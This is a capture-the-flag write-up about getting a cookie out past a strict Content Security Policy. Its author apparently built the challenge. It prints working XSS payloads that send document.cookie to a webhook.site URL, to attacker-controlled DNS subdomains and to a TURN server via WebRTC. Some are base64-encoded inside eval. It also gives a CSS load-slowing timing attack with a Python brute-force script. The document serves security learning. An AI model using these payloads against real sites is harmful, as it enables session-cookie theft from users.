Challenge Dockerfile:
Challenge Link | http://cspchallenge.duckdns.org/ |
What, why and how?
I made this challenge based on PicoCTF elements (I am half serious and half joking when I said I am collecting payloads) and it has taught me a lot about CSPs (Content Security Policy) in general and I would like to share some of the few of what I’ve found! It isn’t something very new, but it is still pretty interesting to me.
The goal of this challenge is to exfiltrate the cookie out.
There are four methods I’ve tested and tried to solve the challenge:
- PendingGetBeacon()
- DNS-Prefetch
- WebRTC
- Abusing complex CSS loading time
(not including XS-Leaks that I have no knowledge on)
Edit after elements solution came out:
Some people found the flag by exploiting vulnerabilities such as crashing the server and timing attacks. However, I also discovered a very interesting solution in Satoki's write-up. He used PendingGetBeacon()
to solve the challenge, pretty cool!
First of all, what is Content Security Policy/CSP?
Content-Security-Policy is the name of a HTTP response header that modern browsers use to enhance the security of the document (or web page). The Content-Security-Policy header allows you to restrict which resources (such as JavaScript, CSS, Images, etc.) can be loaded, and the URLs that they can be loaded from. Although it is primarily used as a HTTP response header, you can also apply it via a meta tag.
Think of the Content-Security-Policy (CSP) as a set of rules that a website tells your browser to follow to keep you safe. It's like a security guard for your web browser, deciding what is allowed in and what isn't.
When a website uses CSP, it can specify which kinds of content (like scripts, images, and stylesheets) are safe to load and from where. For example, a website might say, "Only load scripts from this specific site, and don't allow any other kinds of scripts to run.".
Source: https://content-security-policy.com/ ← More info about CSPs can be read here
// How the CSP looks like in the challenge
$csp = [
"default-src 'none'",
"style-src 'self'",
"script-src 'unsafe-inline'",
"frame-ancestors 'none'",
"worker-src 'none'",
"navigate-to 'none'"
];
// Weird flag format, I know :P
Flag: did_you_learned_about_navigate_to
Common methods of exfiltration
-
location()
(In this case it’s blocked by navigate-to: none) -
fetch()
(In this case it’s blocked by default-src: none) - Basically most of the outside resources fetching function are being blocked by default-src: none
Why and how does DNS-Prefetch and WebRTC works here?
The thing is, CSP doesn't limit DNS or WebRTC requests. This means that data could potentially be exfiltrated even with a restrictive CSP in place, provided that XSS can be executed on the site first.
Why and how does PendingGetBeacon()
works here?
I believe the reason it works is because it is an experimental feature that wasn't supposed to be considered yet for CSP, hence why we were able to use it.
Actually, PendingGetBeacon()
is an experimental feature that was deprecated and will be replaced by fetchLater()
in later versions. (I’ve also tested fetchLater()
, doesn’t work, because it’s fetch-based)
These functions can only be accessed when --enable-experimental-web-platform-features
is turned on, so it won’t work in normal cases.
What does the 'navigate-to' Content Security Policy (CSP) do?
In this challenge, we're focusing at a directive of CSP called navigate-to
. This directive, which was never released, was meant to stop typical ways of exfiltrating data, like window.location
and other actions related to the window. But for reasons we don't know, navigate-to
has been taken out of the CSP specification. This CSP directive restricts navigation or redirection to prevent attackers from manipulating window.location, window.open, <form action="">
and similar functions. This precaution protects users and their sensitive data by preventing redirection to an attacker's website.
For the DNS exfiltration part
You can use messwithdns. Simple and easy. (It’s like webhook but for dns, you should check it out, legit cool)
or……
You can also use a domain that allows you to set your own A records and Nameserver records, and host your own exfiltration server. If I'm not mistaken, freenom offers free domains that allow this type of configuration, but I haven't tried it. But in this case, I simply used the free Namecheap domain from my Github Student Developer Pack.
For this write-up, I used this to monitor the DNS requests (setup tutorial is inside):
Solutions
Solution 1
PendingGetBeacon()
We’ll start with PendingGetBeacon()
method as this is the simplest and easiest way to exfiltrate.
Note: This only works if enable-experimental-web-platform-features
flag is turned on.
Here's the JavaScript code for the PendingGetBeacon()
method:
// This will send the flag as the c part of the get request
var beacon = new window.PendingGetBeacon('https://webhook.site/d18b4431-035e-47d2-b8f4-ecc1cc22f5c6/c=' + document.cookie, {timeout: 5, backgroundTimeout: 0});
// Same as above. Eval to b64 to make it easier
eval(atob('dmFyIGJlYWNvbiA9IG5ldyB3aW5kb3cuUGVuZGluZ0dldEJlYWNvbignaHR0cHM6Ly93ZWJob29rLnNpdGUvZDE4YjQ0MzEtMDM1ZS00N2QyLWI4ZjQtZWNjMWNjMjJmNWM2L2M9JyArIGRvY3VtZW50LmNvb2tpZSwge3RpbWVvdXQ6IDUsIGJhY2tncm91bmRUaW1lb3V0OiAwfSk7'))
Solution 2
DNS-Prefetch
In the DNS-Prefetch method, the solution to the challenge, the flag is sent as a subdomain of an attacker-controlled domain.
Here's the JavaScript code for the DNS-Prefetch method:
// This will send the flag as the subdomain of attacker controlled domain
document.body.innerHTML = "<link rel='dns-prefetch' href='//" + (document.cookie.split('; ').find(row => row.startsWith('FLAG=')).split('=')[1]) + ".dnspwn.vicevirus.me'>";
// Same as above. Eval to b64 to make it easier
eval(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAiPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vIiArIChkb2N1bWVudC5jb29raWUuc3BsaXQoJzsgJykuZmluZChyb3cgPT4gcm93LnN0YXJ0c1dpdGgoJ0ZMQUc9JykpLnNwbGl0KCc9JylbMV0pICsgIi5kbnNwd24udmljZXZpcnVzLm1lJz4iOw=='))
Solution 3
WebRTC
In this specific WebRTC method, the solution to the challenge, the flag is sent as a subdomain of an attacker-controlled domain. The port doesn’t matter here, it will still make a connection to our domain through DNS request.
Here's the JavaScript code for the WebRTC method (through DNS):
// This script will send the flag as the subdomain of attacker controlled domain
(async() => {
let p = new RTCPeerConnection({
iceServers: [
{
urls: "turn:" + document.cookie.split(';').find(cookie => cookie.trim().startsWith('FLAG=')).split('=')[1] + ".dnspwn.vicevirus.me:3478",
username: "random",
credential: "random"
}
]
});
p.createDataChannel("d");
await p.setLocalDescription();
})();
// Same as above. Eval to b64 to make it easier
eval(atob('KGFzeW5jKCk9PntsZXQgcD1uZXcgUlRDUGVlckNvbm5lY3Rpb24oe2ljZVNlcnZlcnM6W3t1cmxzOiJ0dXJuOiIgKyBkb2N1bWVudC5jb29raWUuc3BsaXQoJzsnKS5maW5kKGNvb2tpZSA9PiBjb29raWUudHJpbSgpLnN0YXJ0c1dpdGgoJ0ZMQUc9JykpLnNwbGl0KCc9JylbMV0gKyAiLmRuc3B3bi52aWNldmlydXMubWU6MzQ3OCIsdXNlcm5hbWU6ICJyYW5kb20iLGNyZWRlbnRpYWw6InJhbmRvbSJ9XX0pO3AuY3JlYXRlRGF0YUNoYW5uZWwoImQiKTthd2FpdCBwLnNldExvY2FsRGVzY3JpcHRpb24oKTt9KSgpOw=='))
In this another WebRTC method, the solution to the challenge, the flag is sent as the username login attempt of attacker controlled TURN/STUN server. (Tedious, this requires you to host the server)
Here's the JavaScript code for the WebRTC method (through username login attempt):
// This script will send the flag as the username of a login attempt
// This requires you to setup a working TURN/STUN server
// For some reason this doesn't work in prod, no idea why. Works in my local docker though
(async() => {
let p = new RTCPeerConnection({
iceServers: [
{
urls: "turn:188.166.185.60:3478",
username: document.cookie.split('; ').find(row => row.startsWith('FLAG=')).split('=')[1],
credential: "random"
}
]
});
p.createDataChannel("d");
await p.setLocalDescription();
})();
// Same as above. Eval to b64 to make it easier
eval(atob('KGFzeW5jKCk9PntsZXQgcD1uZXcgUlRDUGVlckNvbm5lY3Rpb24oe2ljZVNlcnZlcnM6W3t1cmxzOiJ0dXJuOjE4OC4xNjYuMTg1LjYwOjM0NzgiLHVzZXJuYW1lOiBkb2N1bWVudC5jb29raWUuc3BsaXQoJzsgJykuZmluZChyb3cgPT4gcm93LnN0YXJ0c1dpdGgoJ0ZMQUc9JykpLnNwbGl0KCc9JylbMV0sY3JlZGVudGlhbDoicmFuZG9tIn1dfSk7cC5jcmVhdGVEYXRhQ2hhbm5lbCgiZCIpO2F3YWl0IHAuc2V0TG9jYWxEZXNjcmlwdGlvbigpO30pKCk7Cg=='))
Solution 4
Abusing complex CSS loading time
This solution is more specific to CTF/challenges. Notice that when we send a request to the bot, it takes some time for it to respond back to us. In the background, the server only sends a response back to us once the bot has finished visiting the page. This behavior is due to PHP's default operation. It's synchronous and will block and wait until the process is complete.
What if we manipulate the bot's loading time on the page?
For instance, we could give it a CSS that functions similarly to a DOS Attack and slows down the webpage loading process. By doing so, we could also exfiltrate the cookie by performing a timing attack.
<style>
html:has([data-token^="a"]) {
--a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1);
--b: var(--a),var(--a),var(--a),var(--a),var(--a);
--c: var(--b),var(--b),var(--b),var(--b),var(--b);
--d: var(--c),var(--c),var(--c),var(--c),var(--c);
--e: var(--d),var(--d),var(--d),var(--d),var(--d);
--f: var(--e),var(--e),var(--e),var(--e),var(--e);
}
</style>
<style>
*{
background-image: var(--f)
}
</style>
Here’s the Javascript code and automated Python script for the CSS loading method:
if (document.cookie.includes('FLAG=<brutethisonebyone>')) {
document.head.appendChild(
Object.assign(
document.createElement('style'), {
innerHTML: `html {
--a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1);
--b: var(--a),var(--a),var(--a),var(--a),var(--a);
--c: var(--b),var(--b),var(--b),var(--b),var(--b);
--d: var(--c),var(--c),var(--c),var(--c),var(--c);
--e: var(--d),var(--d),var(--d),var(--d),var(--d);
--f: var(--e),var(--e),var(--e),var(--e),var(--e);
}
* {
background-image: var(--f);
}`
}
)
);
}
# If the time for the server to give you a response back is longer than 20 sec
# Then it is a character of the flag
# If the time for the server to give you a response back is less than 20 sec
# Then it is not a character of the flag
# The response timing depends on your internet condition etc. Adjust accordingly
import requests
import base64
import time
import string
url = 'http://cspchallenge.duckdns.org/report.php'
charset = string.ascii_lowercase + '_'
partial_flag = ''
try:
position = 1
while True:
found_char = False
for char in charset:
xssPayload = f"""if (document.cookie.includes('FLAG={partial_flag}{char}')) {{document.head.appendChild(Object.assign(document.createElement('style'), {{innerHTML: `html {{ --a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1); --b: var(--a),var(--a),var(--a),var(--a),var(--a); --c: var(--b),var(--b),var(--b),var(--b),var(--b); --d: var(--c),var(--c),var(--c),var(--c),var(--c); --e: var(--d),var(--d),var(--d),var(--d),var(--d); --f: var(--e),var(--e),var(--e),var(--e),var(--e); }} * {{ background-image: var(--f); }}`}}));}}"""
print(char)
print(partial_flag+char)
xssPayload_b64 = base64.b64encode(xssPayload.encode()).decode()
full_payload = f"eval(atob('{xssPayload_b64}'))"
data = {'xssPayload': full_payload}
start_time = time.time()
response = requests.post(url, data=data)
elapsed_time = time.time() - start_time
if elapsed_time > 20:
partial_flag += char
found_char = True
break
if not found_char:
break
position += 1
except Exception as e:
print(f"An error occurred: {e}")
print(f"FLAG: {partial_flag}")
Not a solution, but interesting to know
I've also discovered another intriguing method for data exfiltration that also bypasses CSP. However, this method requires the user to open the Dev Tools for it to execute, so it's not applicable in this instance.
//# sourceMappingURL="https://cookiehere.dnspwn.vicevirus.me"
Final thoughts/Notes
Real-life aspect (my opinion)
- A CSP no matter how strict it is, if the attacker is able to run XSS, you are pretty much done.
- IMO, CSP is not meant for restricting data exfiltration, but only to restrict execution of scripts/styles etc.
- Though, this might be useful for escalation?
-
Recent browsers doesn’t even recognize the
navigate-to
CSP rule header. -
navigate-to
will only work when the user uses Chrome/Chromium that has experimental features turned on.
Usually when encountering restrictive CSPs, I will just use window.location
.
But it seems like I have more methods to try now if that doesn’t work!
And also, I found a very interesting tweet. Apparently, there are other methods of exfiltration which is still unknown to the public!
Thanks for reading my writeup!
References: